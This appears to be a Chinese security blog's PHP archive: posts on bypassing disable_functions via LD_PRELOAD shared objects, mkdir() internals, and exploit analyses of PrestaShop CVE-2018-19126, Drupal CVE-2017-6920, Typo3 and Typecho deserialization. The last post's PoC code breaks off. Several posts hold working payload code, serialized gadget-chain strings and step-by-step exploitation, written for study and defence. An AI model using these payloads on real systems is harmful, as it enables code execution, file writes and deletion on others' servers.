Php on 诗与胡说

利用LD_PRELOAD绕过disbale_functions

Tue, 02 Apr 2019 10:21:42 +0000

0x01 背景

有时候拿到shell后发现无法执行系统命令，通过phpinfo查看发现设置了disbale_functions，禁止了大部分可以执行命令的方法，这时候就要考虑绕过这个限制。本文是介绍了利用LD_PRELOAD环境变量加载恶意共享库的方式绕过，当然方式不止文中列出的几种，有何遗漏或不足欢迎提建议。

0x02 LD_PRELOAD 环境变量

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

根据文档介绍，如果使用LD_PRELOAD环境变量指定了一个共享库或共享对象，那么这个共享对象会在其他对象加载前被加载，例如

$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls

即在执行ls命令前，会先加载指定路径的malloc.so文件，如果这是一个恶意共享对象，那么可以执行任意操作。

我们可以通过readelf命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用LD_PRELOAD环境变量指定生成的对象，达到命令执行的目的。

一般情况我们选择简单的或者不带参数的命令，例如id，ls，whoami等，另外为了实现原型一致的劫持函数，也尽量选择常用的或者不用传递参数的函数，例如getuid()，getpid()，getgid()等

以python为例，通过命令readelf -s /usr/bin/python列出python程序调用的系统函数，可以筛选出get型的函数

尝试劫持getpid()函数

首先通过man命令查看getpid()函数的实现

然后重写getpid()函数

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void){
    system("echo 'pwned by getpid!'");
    return 0;
}

注意：因为通过设置preload劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时unsetenv("LD_PRELOAD")则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，改进版如下：

#include <sys/types.h>
#include <unistd.h>

void payload(void){
    system("echo 'pwned by getpid!'");
}

pid_t getpid(void){
    if (getenv("LD_PRELOAD") == NULL){
        return 0;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return 0;
}

接着编译共享对象，-shared表示生成共享库，-fPIC表示使用地址无关代码

gcc -shared -fPIC getpid.c -o getpid.so

LD_PRELOAD设置加载so文件，运行python，可以看到函数被成功劫持

这个方法有一定限制，首先需要找到一个相对简单的函数原型，然后需要确保该函数被目标程序调用，因此一个更好的方法是利用扩展修饰符修饰函数，优先加载恶意函数，增强通用性，这里就用到了扩展修饰符 __attribute__((constructor))

GCC 有个 C 语言扩展修饰符 __attribute__((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 __attribute__((constructor)) 修饰的函数

简单说就是__attribute__可以修饰几个属性，包括函数属性、变量属性和类型属性，语法格式为：

__attribute__(( attribute-list ))

当函数属性被设置为constructor时，该函数会在可执行文件（或共享对象）加载时被调用，同理当设置属性为destructor时会在对象unload时调用，也就是说设置为这两个属性时，会在main()函数执行之前或者return()执行之后被调用，我们就可以借助这个扩展修饰符，当加载so文件时自动执行恶意函数，这样就不局限于某个特定函数，使用面大大扩展了

重新写一个函数，使用 __attribute__((constructor))修饰

#include <unistd.h>

void payload(void){
    system("echo 'pwned!'");
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv("LD_PRELOAD") == NULL){
        return;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return;
}

重新编译并加载，成功执行

0x03 绕过`disable_functions`

接下来看一下怎么利用LD_PRELOAD在php启用disable_functions禁用了命令/代码执行函数的情况下绕过这个限制，达到命令执行的效果

php.ini限制大部分执行命令的函数

disable_functions = assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

根据上面的介绍，我们突破disable_functions的步骤如下

编写恶意C函数，并编译成共享对象；
在php执行过程中找到一个函数，这个函数能够产生一个新的进程；
通过putenv设置LD_PRELOAD环境变量，使得新产生的进程优先加载恶意共享对象；

第1步在上文已经解决了，第3步也比较容易实现，关键就是第2步，找到一个php中可以新起一个进程的函数，目的是为了让这个新进程使用的环境变量加载我们设置的恶意共享对象，达到劫持的目的

在php中有这么几个函数可以被利用，mail()，imap_mail()，以及Imagick，来逐一测试

mail()

mail()函数会启动sendmail进程发送邮件，这个过程是可以被劫持的

<?php
    mail("admin@localhost","","","","");
?>

通过strace查看mail()函数调用的过程

可以看到除了php自身进程外还启动了sendmail进程，而sendmail在执行过程中调用了多个可以被劫持的函数，例如getuid，getgid， getpid等，我们还是以上面的getpid为例测试

通过putenv将LD_PRELOAD环境变量设置为上面编译好的getpid.so

<?php
    putenv("LD_PRELOAD=/tmp/getpid.so");
    mail("admin@localhost","","","","");
?>

成功绕过disable_functions限制。另外也可以用__attribute__ ((__constructor__))修饰函数，这样就不局限于某个系统函数。

imap_mail()

imap_mail()函数与mail()函数类似，都会调用sendmail程序发送邮件，因此也能通过LD_PRELOAD环境变量绕过，方法同上

Imagick

Imagick作为使用广泛的图形处理库，它在处理各种类型的文件时会调用不同的处理程序，这个过程也是可以进行劫持的，常见的文件类型与处理程序对应关系列举如下

文件类型	调用程序
EPI/EPS/PDF/PS	Ghostscript
MNG/M2V	ffmpeg
JXR	jxrlib

详细的依赖调用关系可以参考官方网站

以eps文件为例，使用Imagick加载

<?php
    $a = new Imagick("/tmp/payload.eps");
?>

如果出现报错

Uncaught ImagickException: not authorized 'payload.eps'

需要修改imagick的policy.xml文件，把相应文件类型的权限修改为read|write

通过strace可以看到启动了gs程序处理

因此我们同样可以通过修改LD_PRELOAD达到执行代码的目的，而实际上这个过程并不要求payload.eps是个合法的eps文件

类似的，pdf、ps、wmv文件等，都可以通过这个方法利用。

0x04 总结

本文主要介绍了如何利用LD_PRELOAD突破disbale_functions，当然这个方法也有一个限制，那就是putenv没有被禁用，得以设置环境变量，因此在不影响系统运行的前提下也需要把putenv加上。

参考：

https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ

对PHP中的mkdir()函数的研究

Wed, 20 Mar 2019 15:27:20 +0000

0x01 缘起

在前阵子分析WORDPRESS IMAGE 远程代码执行漏洞的过程中，在文末提到一点关于php中的mkdir()函数，在触发漏洞时这个地方存在一点疑惑，即当mkdir()第三个参数分别为false和true时，分别是能成功创建文件夹和创建失败，后来有同学发现和他的测试结果有偏差，两种情况都无法创建，在互相确认了php版本后，对mkdir()函数进行了深入的研究，发现里面大有文章。

当时的测试结果是这样的，环境是Windows+php-7.0.12-nts，在recursive=false时成功穿越目录并创建了文件夹

本文重新编译了php方便调试，版本是php-7.2.16-ts和php-7.2.16-nts，测试结果如下

可以看到只有在非线程安全下并且recursive=false时才成功创建，总结如下表所示

Windows	thread-safe	non-thread safe
recursive=false	fail (No error)	success
recursive=true	fail (Invalid path)	fail (Invalid path)

接下来从源码角度看看php如何实现mkdir()函数，探究一下为何会出现差异

0x02 调试

用Visual Studio 2017打开项目，定位到php-7.2.16-src/main/streams/plain_wrapper.cline 1234，方法php_plain_files_mkdir()即mkdir()的实现，在此处下个断点，然后运行脚本，接着选择调试-附加到进程，选择编译好的php.exe进程，成功命中断点。

0x03 源码分析

1. recursive=true

thread-safe

首先分析在recursive=true的情况，跟随断点来看一下php_plain_files_mkdir()这个方法

看到对recursive进行了判断，进了不同的分支，分别执行php_mkdir()和expand_filepath_with_mode()。recursive=true时进入expand_filepath_with_mode()

这个expand_filepath_with_mode()方法会判断当前路径是相对路径还是绝对路径，然后把路径传入virtual_file_ex()，如果是相对路径的话会在该方法中拼接成完整的路径，随后进行一个重要的判断

如果是Windows系统且路径中包含了*或?，则直接返回错误，这也就是为什么在复现wordpress漏洞时构造的PoC中含有?无法创建目录的原因(wordpress指定了recursive=true)，当时使用#绕过了这个限制

回到上面，virtual_file_ex()没有通过验证，最终抛出的异常是"Invalid path"

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
    php_error_docref(NULL, E_WARNING, "Invalid path");
    return 0;
}

non-thread safe

在非线程安全模式下，流程是完全一样的，最终也会因为无法通过*或?的检查，抛出"Invalid path"

2. recursive=false

接下来看一下recursive=false的情况，在这个情况下，线程安全与非线程安全产生了不一样的结果。

recursive=false时进入php_mkdir()方法，随后进入php_mkdir_ex()

在进行basedir检查后进入VCWD_MKDIR，这是一个宏命令，在源码中有三处定义，在php-7.2.16-src/Zend/zend_virtual_cwd.h中，分别是

mkdir(pathname, mode)
php_win32_ioutil_mkdir(pathname, mode)
virtual_mkdir(pathname, mode)

注意这三个定义是根据不同的条件执行的，看一下逻辑

#ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#endif

#if defined(ZEND_WIN32)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)

也就是说，如果定义了VIRTUAL_DIR，那么执行的是virtual_mkdir()，否则如果是Windows系统，就执行php_win32_ioutil_mkdir()创建目录，linux下则是mkdir命令

那么，既然在recursive=false的情况下，线程安全与非线程安全出现了不一样的结果，肯定是此处走的分支不一样，一个使用了virtual_mkdir()，另一个使用了php_win32_ioutil_mkdir()，分别进入两个方法

在virtual_mkdir()中，同上面的情况一样，进行了virtual_file_ex()判断，因此也会走到对*和?的判断，同样因为通不过检查而抛出"Invalid path"，而在php_win32_ioutil_mkdir()中则是调用了CreateDirectoryW创建目录

CreateDirectoryW是Windows下创建目录的API，走到这个分支并不检查*和?，因此能够成功创建目录。

有关CreateDirectoryW参考Microsoft Doc

与CreateDirectoryW对应的还有CreateDirectoryA，两个函数功能一样，只是第一个参数的类型不同，一个是LPCWSTR 另一个是LPCSTR ，这两者是CHAR 和WCHAR的区别，详细可以参考StackOverflow

现在剩下最关键的一个问题，什么情况下会走virtual_mkdir()的流程，也就是说VIRTUAL_DIR是在何处定义的？

在php-7.2.16-src/Zend?zend_virtual_cwd.hline 41定义了这个变量，前置条件是ZTS，也就是线程安全的标识，只有在线程安全模式下，才使用virtual_mkdir()创建目录，调用的系统函数同样是CreateDirectoryW，但是在此之前得先通过virtual_file_ex()校验，含有*和?则无法创建成功。

0x04 流程图

0x05 深入

现在清楚了php对mkdir()的实现，之所以结果不一样是因为ZTS与NTS下的两种不同的处理流程，那么为什么在ZTS模式下，在调用Windows的API创建目录之前，需要设置一个“虚拟目录”呢？

这里涉及到php内核中的TSRM机制，也就是线程安全资源管理器(Thread Safe Resource Manager) ，这个机制的引入是为了解决线程并发的问题，我们知道，如果线程访问的内存地址空间相同，当一个线程修改资源时会影响其它线程，所以为了确保不会出现资源竞争，php将多个资源复制为多份，每个线程需要的资源在当前进程空间中各有一份，各取所取，这样就不会出现竞争问题。

那么不同线程怎么获取自身所需要的资源呢？php中通过ts_allocate_id()函数实现，这个函数的作用就是遍历所有线程，为每一个分配一个线程安全资源id，每一次调用ts_allocate_id()函数时，都会执行这个操作，而为了避免重复分配，这个过程是在调用模块初始化的时候就完成了

TSRMG的定义如下，其中tsrm_get_ls_cache()有多个定义，但功能是一样的，就是根据资源id的tls_key取出相应value的过程：

#define TSRMG(id, type, element)	(TSRMG_BULK(id, type)->element)
#define TSRMG_BULK(id, type)	((type) (*((void ***) tsrm_get_ls_cache()))[TSRM_UNSHUFFLE_RSRC_ID(id)])

# define tsrm_tls_get()			pthread_getspecific(tls_key)

在启动cli或者cgi时，都会通过SAPI调用tsrm_startup()启动TSRM ，随后进行模块初始化，在这个过程中分配资源id，初始化时的调用栈如下图所示

当非ZTS模式时，线程直接调用全局变量的属性，而ZTS模式设置“虚拟目录”的概念其实就是“根据资源id查找所需的全局变量”的过程，本质上是为了避免线程间资源读取出现竞争，保证了线程安全。

0x06 总结

本文通过php中mkdir()函数在不同环境下表现结果不一致的现象，分析了php内核对mkdir()函数的实现，引申出php中线程安全与非线程安全两个重要的机制，抛砖引玉，如有表述不妥或者错误之处欢迎指正，最后感谢@maple提出最初的问题以及探讨过程中给予的莫大的帮助。

参考：

http://php.net/manual/en/function.mkdir.php

http://blog.codinglabs.org/articles/zend-thread-safety.html

https://segmentfault.com/a/1190000010004035

PrestaShop后台远程代码执行漏洞分析(CVE-2018-19126)

Wed, 19 Dec 2018 16:48:02 +0000

0x01 概述

PrestaShop是一款针对web2.0设计的全功能、跨平台的免费开源电子商务解决方案，自08年1.0版本发布，短短两年时间，发展迅速，全球已超过四万家网店采用Prestashop进行部署。Prestashop基于Smarty引擎编程设计，模块化设计，扩展性强，能轻易实现多种语言，多种货币浏览交易，支持Paypal等几乎所有的支付手段，是外贸网站建站的佳选。Prestashop是目前为止，操作最简单，最人性化，用户体验最佳的电子商务解决方案之一。

11月7日 PrestaShop 官方发布新版本，修复两个高危漏洞，其中CVE-2018-19126允许攻击者通过上传精心构造的文件导致任意代码执行，CVE-2018-19125则导致攻击者删除服务器上的默认图片上传文件夹。

公告：http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/

补丁：https://github.com/PrestaShop/PrestaShop/pull/11287

由于该漏洞触发需要后台上传权限，在这个系统中有上传权限的角色包括物流员、翻译者、销售人员，所以漏洞影响面还是有限。

0x02 影响版本

1.6.x before 1.6.1.23

1.7.x before 1.7.4.4

0x03 环境搭建

下载1.7.4.3版本并安装

https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip

在安装过程中会强制要求修改默认后台路径admin，同时要求删除install文件夹，从安全角度来讲，这是一个好设计：）

此案例中后台路径命名为/admin-rename/

0x04 漏洞分析

根据补丁位置显示漏洞出现在后台处理文件上传的模块，在admin-dev/filemanager/ajax_calls.php的image_sizecase分支，新版本直接删除了这段代码，其中最值得怀疑的是getimagesize()函数，在10月份披露的国外轻量级开源论坛系统Vanilla Forums就是因为该函数导致了一个远程代码执行漏洞，详细可以看这里

那么getimagesize()函数存在什么问题呢？在今年的BlackHat大会上由Sam Thomas分享的反序列化漏洞议题主要讲了被忽略的phar://协议导致的phar反序列化漏洞，此前也简单介绍了一下这个议题，参考由PHPGGC理解PHP反序列化漏洞，在这里面提到一些在解析phar://协议时会产生风险的常用函数，如下图

getimagesize()同样存在这个问题，当调用getimagesize('phar://some/phar.ext');的时候，php解析phar文件时会进行反序列化，如果其内容是恶意构造的，就能达到任意代码执行的效果

风险点找到了，接下来看一下如何触发漏洞

ajax_calls.php在filemanager模块下面，通过http://host/admin-rename/filemanager/dialog.php页面调用，这个页面主要功能就是上传文件，以及创建文件夹，文件排序、删除等等，通过action参数控制操作，所以可以直接通过action=image_size访问到漏洞触发点

在dialog.php开头设置了一个verify字段

$_SESSION["verify"] = "RESPONSIVEfilemanager";

而在页面检查了这个字段的值，所以无法直接访问ajax_calls.php页面，必须先访问dialog.php，目的应该是为了保证文件操作都是从dialog.php页面进行的吧

if ($_SESSION['verify'] != 'RESPONSIVEfilemanager') {
    die('Forbidden');
}

然后我们就可以上传一个phar文件，当然系统限制文件后缀只能在白名单内'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv', 'webm'，所以需要将phar文件重命名符合要求的后缀。由于在phar://解析时只要满足phar文件标识，即文件头必须以__HALT_COMPILER();?>结尾，所以并不限制文件后缀。此处也有一个技巧，我们可以创建一个合法的jpeg文件，同时又是一个phar文件，这个文件甚至可以绕过MIME检查，关于这个技巧可以参考这里

接下来具体看image_size分支

case 'image_size':
    if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
        die();
    }
    $pos = strpos($_POST['path'], $upload_dir);
    if ($pos !== false) {
        $info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
        echo json_encode($info);
    }

    break;

第一个if条件，检查path参数的绝对路径是否和系统定义的upload_dir绝对路径相等，upload_dir的值是

$upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/'; // path from base_url to base of upload folder (with start and final /)

而我们要post的path参数是这个样子phar://path/phar.jpg，显然无法通过判断。这时候考虑一下，假如我们把默认上传路径修改了，比如改成img/test/，那么系统就会找不到img/cms/这个路径，realpath返回结果为false，那么就可以绕过这个条件。

那么什么办法可以修改这个路径呢？

在admin-rename/filemanager/execute.php文件可以看到有一些文件及文件夹操作，允许用户删除或者重命名文件夹，通过action和name参数我们可以将默认的img/cms/修改成自定义文件夹，甚至可以删除这个路径，这也就是CVE-2018-19125这个漏洞的触发位置。

接下来看第2个条件

$pos = strpos($_POST['path'], $upload_dir);

此处只要让path参数包含img/cms/字符串即可，这样经过后面的替换和拼接，path就类似于phar://img/test/phar.pdf/var/www/html/img/cms/，不影响phar解析

phar文件最终进入getimagesize()，如果序列化一个可以执行任意代码的类，生成恶意的phar文件，构造一条完整的POP链，就可以形成一个RCE

在PrestaShop项目中存在Monolog，这是php下一个日志记录类库，在这个库中的BufferHandler类的handle函数有一段存在风险的代码

public function handle(array $record){
    //...
	if ($this->processors) {
    	foreach ($this->processors as $processor) {
        	$record = call_user_func($processor, $record);
    	}
	}
    //...
}

如果$this->processors和$record均可控的话，就可以造成一个命令执行，所以我们可以序列化这个类构造POP链

0x05 漏洞利用

一、生成phar文件

我们利用之前介绍过的PHARGGC工具生成一个包含POP链的phar文件，选择Monolog/RCE1，看一下这个gadget的使用

> pharggc -i Monolog/RCE1
Name           : Monolog/RCE1
Version        : 1.18 <= 1.23
Type           :
Vector         : __destruct

./pharggc Monolog/RCE1 <code>

生成一个out.phar，并重命名成out.png

> pharggc Monolog/RCE1 "phpinfo();"
Payload written to: out.phar

然后通过http://host/admin-rename/filemanager/dialog.php上传到服务器上

二、重命名默认上传目录

通过http://host/admin-rename/filemanager/execute.php?action=rename_folder重命名默认上传目录

三、发送payload

通过path参数传入上传的phar文件，getimagesize()自动解析phar，触发反序列化

0x06 补丁分析

补丁位置：https://github.com/PrestaShop/PrestaShop/pull/11287

官方对这两处漏洞做了修复，一方面是直接删除了case 'image_size'分支，一方面也严格检查了文件mime类型，同时对realpath检查时限制了必须是已存在的目录

0x07 总结

这个漏洞触发流程并不复杂，几个限制也能简单地绕过，关键在于某些函数没有考虑到传入phar://的情况，在解析该协议时产生反序列化漏洞。另外值得注意的是，php.ini中phar.readonly = On选项并不会影响phar解析，没有关闭此选项(默认为On)依旧会导致漏洞触发，近段时间以来基于phar的漏洞也在逐渐增加，希望能够引起开发者的重视。

由PHPGGC理解PHP反序列化漏洞

Mon, 08 Oct 2018 14:43:41 +0000

0x01 概述

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具，类似Java中的ysoserial，当前支持的框架包括Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii 和 ZendFramework，可以说是反序列化的武器库了。本文从该工具出发，以Drupal Yaml反序列化漏洞和Typo3反序列化漏洞为例，分析其中的多种利用方式，并介绍一下今年BlackHat议题关于新型php反序列化攻击的部分。

0x02 Drupal Yaml反序列化漏洞

一、介绍

关于Drupal就不过多介绍了，前阵子两个RCE漏洞杀伤力巨大，这次介绍的是去年披露的关于反序列化的漏洞，CVE-2017-6920，官方描述是YAML解析器处理不当导致的一个远程代码执行漏洞

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.

详情见SA-CORE-2017-003

二、漏洞分析

先来看一下补丁，diff 8.3.3 和 8.3.4 版本，主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php文件decode方法

可见在yaml_parse前进行了ini_set('yaml.decode_php', 0);

用户可控制的参数$raw直接传给了yaml_parse函数，而在手册上关于yaml_parse函数有这么一个注意点：

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

也就是说，如果使用了yaml标志!php/object，那么这个内容会通过unserialize()进行处理，设置yaml.decode_php则可以禁止，这就是为什么补丁增加了这行代码。

看一下调用decode()方法的地方，core/lib/Drupal/Component/Serialization/Yaml.php：

public static function decode($raw) {
    $serializer = static::getSerializer();
    return $serializer::decode($raw);
}

在Yaml类的decode()方法调用了static::getSerializer()方法，跟入

可以看到加载了yaml扩展后就会进入YamlPecl类，进而调用Yaml::decode()方法，搜索调用Yaml::decode并且参数能被控制的地方，在core/modules/config/src/Form/ConfigSingleImportForm.php的validateForm()方法：

$data = Yaml::decode($form_state->getValue('import'));

validateForm()的调用处在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import，decode()的参数直接从表单获取，于是通过import将恶意参数传递进去。

三、漏洞利用

现在我们需要找到一个类，使之在被反序列化的时候执行危险函数，常规搜索_destruct、_tostring以及_wakeup方法，在drupal核心中有这么三个类可以被利用，其中两个在phpggc工具中已经集成，另一个我们手动加入到phpggc中

1. 远程代码执行

vendor/guzzlehttp/psr7/src/FnStream.php FnStream类的__destruct()方法

  public function __destruct()
  {
      if (isset($this->_fn_close)) {
          call_user_func($this->_fn_close);
      }
  }

我们通过序列化这个类，传递参数_fn_close为任意php代码，在yaml_parse的时候反序列化便可以造成一个任意代码执行。

在PHPGGC中已经内置这个类，查看信息

看一下内部实现

phpggc将_fn_close参数设置为HandlerStack类，再在HandlerStack序列化的时候传入可控参数$handler，而在这个案例中我们不需要额外的HandlerStack类了，所以对generate()方法稍加修改，直接构造一个FnStream类，注意参数是array类型：

return new \GuzzleHttp\Psr7\FnStream([
    'close' => $code
]);

然后生成序列化数据：

接着拼接YAML_PHP_TAG即!php/object，并且要将字符串转义，注意序列化数据中的空字符，我们将其替换成\0，最终生成的字符串如下：

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/importimport序列化后的数据，便可以执行代码

2. 任意文件写入

上面call_user_func()造成了一个任意代码执行，我们再找到一个file_put_contents()造成任意文件写入

在vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php的FileCookieJar类

__destruct()调用save()方法，通过file_put_contents()写入文件内容，而文件名和文件内容均是我们可以控制的，所以此处可以写入一个shell

同样地看一下phpggc中有关FileCookieJar类的部分：gadgetchains/Guzzle/FW/1/chain.php

通过这个类生成序列化数据

需要提供远程文件路径和本地文件路径两个参数

接着还是拼接和转义，并import数据

写入的是整个json字符串，但是不影响代码执行。

3. 任意文件删除

另一个类是WindowsPipes，路径vendor/symfony/process/Pipes/WindowsPipes.php，该类可以造成文件删除

在phpggc中没有内置这个类，于是我们按照这个工具的框架来实现一下，方便理解该工具。

在lib/PHPGGC/GadgetChain.php已经有TYPE_FD这个类型，代表file_delete，那么我们直接在lib/PHPGGC/GadgetChain/注册一个FileDelete

<?php

namespace PHPGGC\GadgetChain;

abstract class FileDelete extends \PHPGGC\GadgetChain
{
    public static $type = self::TYPE_FD;
    public $parameters = [
        'file_name'
    ];
}

这个类就可以作为POP链拿来使用了

然后在Symfony目录下创建RMF/1，并创建chain和gadgets

gadgetchains/Symfony/RMF/1/chain.php

<?php

namespace GadgetChain\Symfony;

class RMF1 extends \PHPGGC\GadgetChain\FileDelete
{
    public $version = '2.6 <= 2.8.32';
    public $vector = '__destruct';
    public $author = 'crlf';
    public $informations = 'Remove remote file.';

    public function generate(array $parameters)
    {
        $input = $parameters['file_name'];

        return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
    }
}

gadgetchains/Symfony/RMF/1/gadgets.php

<?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
    private $files = array();

    public function __construct($input)
    {
        $this->files = array($input);
    }

}

我们直接生成WindowsPipes的序列化数据，把文件名作为参数传入，在反序列化的时候自动调用removeFiles()，实现任意文件删除

生成序列化字符串

import后文件被删除

四、总结

通过这个漏洞对phpggc工具有了一定了解，我们可以添加自定义POP链到工具中，用来丰富这个武器库。

另外针对这个漏洞，文件写入和文件删除都需要知道网站的绝对路径，加上需要登录后才能利用，一定程度上加大了利用难度。

0x03 Typo3反序列化漏洞

一、介绍

Typo3也是一款著名的CMS，但是在国内流行程度不如Wordpress。这个漏洞是今年BlackHat大会上由Sam Thomas分享反序列化漏洞议题时作为案例来讲的，该漏洞由phar://触发，这是一个新型的反序列化利用方式，日常开发中容易忽略这个风险点，在漏洞利用中也用到了phpggc这个工具，所以一并学习。

关于该漏洞的官方描述，可以看这里

二、phar://介绍

在分析漏洞前先介绍一下phar://伪协议，直接看php手册的介绍

Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与file:// php://等类似，也是一种流包装器。

phar结构由4部分组成

stub phar文件标识，格式为 xxx<?php xxx; __HALT_COMPILER();?>；
manifest 压缩文件的属性等信息，以序列化存储；
contents 压缩文件的内容；
signature 签名，放在文件末尾；

这里有两个关键点，一是文件标识，必须以__HALT_COMPILER();?>结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制；二是反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化，而这样的文件操作函数有很多，包括下面这些：

图片来自seebug

这中间大多数是常用的函数，在一个系统中使用相当广泛，结合文件伪造，使得通过phar://解析造成的反序列化攻击变得愈加容易。

三、漏洞分析

接下来看一下Typo3中存在漏洞的代码

在typo3/sysext/core/Classes/Database/SoftReferenceIndex.php的getTypoLinkParts()方法

上面说到存在风险的文件操作函数，其中就包括file_exists()，当传给file_exists()的参数是phar压缩文档并通过phar://伪协议解析时，就会反序列化其中的metadata数据，一旦该数据被控制，就会形成漏洞。

下面举一个例子演示

可以看到通过file_exists()函数判断文件是否存在即对TestObject类进行了反序列化。

那么我们可以构造$splitLinkParam参数为phar文件，其中包含恶意代码，传递给file_exists()函数，便会触发漏洞。

四、漏洞利用

pharggc是在phpggc的基础上增加了对phar的支持，能够将序列化后的payload写入到phar文件中，通过phar://解析时触发payload

我们已经找到可以触发漏洞的地方，但还需要一个类来执行代码，在Typo3中同样存在FnStream类，所以我们还是使用guzzle/rce1载荷将数据写入一张图片中

然后上传这个附件，接着创建一个页面，将Link设置为phar://，注意需要将:转义

保存后就会触发漏洞

调用栈如下图所示

五、总结及防御

这个漏洞利用的是phar的特性，在系统未过滤phar://协议且参数可以控制时，容易引发漏洞，开发时也需要多注意限制使用不必要的流包装器，上传文件也要校验文件内容而不仅仅是文件头。

防范措施

限制PHP流包装器的使用(传递)；
控制文件操作函数的参数，过滤特殊字符，例如 phar:// 等；
仅在特别请求时才对元数据进行反序列化；

0x04 总结

本文分析了两个漏洞，并结合phpggc工具梳理了反序列化漏洞常见的攻击方式，以及如何寻找一条可以利用的POP链，也提到了开发中容易忽略的安全风险，希望能给大家起到帮助。

参考：

https://paper.seebug.org/334/

https://paper.seebug.org/680

https://github.com/ambionics/phpggc

https://github.com/s-n-t/phpggc

http://php.net/manual/en/function.yaml-parse.php

http://php.net/manual/en/intro.phar.php

https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple

https://typo3.org/security/advisory/typo3-core-sa-2018-002/

Typecho install.php 反序列化漏洞分析

Mon, 30 Oct 2017 14:32:18 +0000

正好在学习php代码审计，简单分析一下前几天的Typecho install.php反序列化漏洞

漏洞分析

漏洞点出现在install.php第229-235行:

这里进行了一个反序列化操作，一般碰到这个都值得注意一下

由于这是初始安装文件，复现时要想流程走到这里就得绕过程序自身的判断，它的判断逻辑如下:

就进行了两个简单的判断，HTTP_REFERER是否为空以及是否来源于本站，这是很容易绕过的

往下执行到unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')))反序列化操作，如果Typecho_Cookie::get('__typecho_config')可控的话就可能导致一个漏洞

跟进Typecho_Cookie类的get()方法分析一下:

可以看到$_COOKIE[$key]的内容都是我们可以控制的，存在风险

继续往下看到 $db = new Typecho_Db($config['adapter'], $config['prefix']);这里新建了一个Typecho_Db对象，跟进去看一下这个对象的构造方法:

注意这一行$adapterName = 'Typecho_Db_Adapter_' . $adapterName; 将Typecho_Db_Adapter_属性与字符串进行了拼接，这就涉及到php的一个特性，如果Typecho_Db_Adapter_传入的是一个实例化对象，那将自动触发这个对象的__toString()方法

我们全局搜索__toString()方法，可以在Feed.php的第223行找到一个__toString()方法:

里面进行了3个if判断，注意到第3个if中有这样一句(同样在第2个if中也存在):

访问了item元素里的一个属性screenName，这就又涉及到php的一个特性，如果我们访问一个对象的私有属性或者不存在的属性到时候，会自动调用这个对象的__get()方法，所以我们只要找到一个__get()方法并且它的参数可控，那就形成了一条完整的调用链。

全局搜索__get()方法，在Request.php第269行:

继续跟进get，第295行

可以看到自定义的get()方法最终返回的是$this->_applyFilter($value)，跟进_applyFilter()看一下:

注意这里调用了call_user_func()方法，而且这里的两个参数都是可控的，这就形成了一个任意代码执行的漏洞

反过来回顾一下整个流程，构造call_user_func()恶意方法——调用__get()方法——调用__toString()方法——控制传入的类——反序列化

PoC

<?php
class Typecho_Feed
{
    const ATOM1 = 'ATOM 1.0';
    private $_type;
    private $_items;
	
    public function __construct(){
        $this->_type = $this::ATOM1;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}
$exp = array(
    'adapter' => new Typecho_Feed(),
